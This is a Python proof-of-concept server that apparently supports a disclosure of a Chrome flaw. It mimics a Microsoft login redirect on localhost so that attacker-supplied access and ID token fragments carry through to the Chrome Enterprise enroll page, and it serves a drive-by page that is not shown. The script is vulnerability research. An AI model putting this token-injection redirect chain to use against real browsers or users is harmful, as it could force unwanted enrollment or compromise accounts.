#!/usr/bin/env python3
"""
HTTPS server simulating the redirect chain that an attacker would obtain
in production via a real Azure AD `prompt=none` error redirect (or any
302-capable open-redirect on *.login.microsoftonline.com / *.mcas.ms).

Chrome is launched with:
  --host-resolver-rules="MAP login.microsoftonline.com 127.0.0.1:8443,
                          MAP chromeenterprise.google 127.0.0.1:8443"
  --ignore-certificate-errors

These flags simulate the network environment only; in a real attack the
attacker uses a genuine login.microsoftonline.com 302 redirect (which has
a valid TLS cert), so no Chrome security boundary protecting the
vulnerable code is bypassed.

Behaviour:
  - Host: login.microsoftonline.com  -> 302 Location: https://chromeenterprise.google/enroll
  - Host: chromeenterprise.google    -> 200 OK (placeholder landing page)
  - Anything else                    -> serve poc.html
"""
import http.server
import os
import ssl
import subprocess
import sys
import threading

HERE = os.path.dirname(os.path.abspath(__file__))
CERT = os.path.join(HERE, "cert.pem")
KEY = os.path.join(HERE, "key.pem")

POC_HTML = os.path.join(HERE, "poc.html")


def ensure_cert():
    if os.path.exists(CERT) and os.path.exists(KEY):
        return
    subprocess.check_call([
        "openssl", "req", "-x509", "-newkey", "rsa:2048",
        "-keyout", KEY, "-out", CERT,
        "-days", "1", "-nodes",
        "-subj", "/CN=localhost",
    ])


class Handler(http.server.BaseHTTPRequestHandler):
    def do_GET(self):
        host = self.headers.get("Host", "")
        if "login.microsoftonline.com" in host or "mcas.ms" in host:
            # Simulate Azure AD 302 redirect to the Chrome Enterprise enroll
            # endpoint. No fragment in Location -> browser preserves the
            # attacker-supplied #access_token=...&id_token=... fragment.
            self.send_response(302)
            self.send_header("Location", "https://chromeenterprise.google/enroll")
            self.send_header("Content-Length", "0")
            self.end_headers()
            sys.stderr.write(
                f"[server] {host}{self.path} -> 302 https://chromeenterprise.google/enroll\n"
            )
            return
        if "chromeenterprise.google" in host:
            body = b"<html><body>enroll landing</body></html>"
            self.send_response(200)
            self.send_header("Content-Type", "text/html")
            self.send_header("Content-Length", str(len(body)))
            self.end_headers()
            self.wfile.write(body)
            sys.stderr.write(f"[server] {host}{self.path} -> 200 OK (landing)\n")
            return
        # Default: serve the attacker drive-by page.
        try:
            with open(POC_HTML, "rb") as f:
                body = f.read()
        except FileNotFoundError:
            body = b"<html><body>poc.html missing</body></html>"
        self.send_response(200)
        self.send_header("Content-Type", "text/html")
        self.send_header("Content-Length", str(len(body)))
        self.end_headers()
        self.wfile.write(body)

    def log_message(self, fmt, *args):
        pass  # silence default access log


def serve_https():
    ensure_cert()
    httpd = http.server.ThreadingHTTPServer(("127.0.0.1", 8443), Handler)
    ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
    ctx.load_cert_chain(CERT, KEY)
    httpd.socket = ctx.wrap_socket(httpd.socket, server_side=True)
    sys.stderr.write("[server] HTTPS listening on 127.0.0.1:8443\n")
    httpd.serve_forever()


def serve_http():
    http.server.ThreadingHTTPServer.allow_reuse_address = True
    httpd = http.server.ThreadingHTTPServer(("127.0.0.1", 8081), Handler)
    sys.stderr.write("[server] HTTP  listening on 127.0.0.1:8081\n")
    httpd.serve_forever()


if __name__ == "__main__":
    t = threading.Thread(target=serve_http, daemon=True)
    t.start()
    serve_https()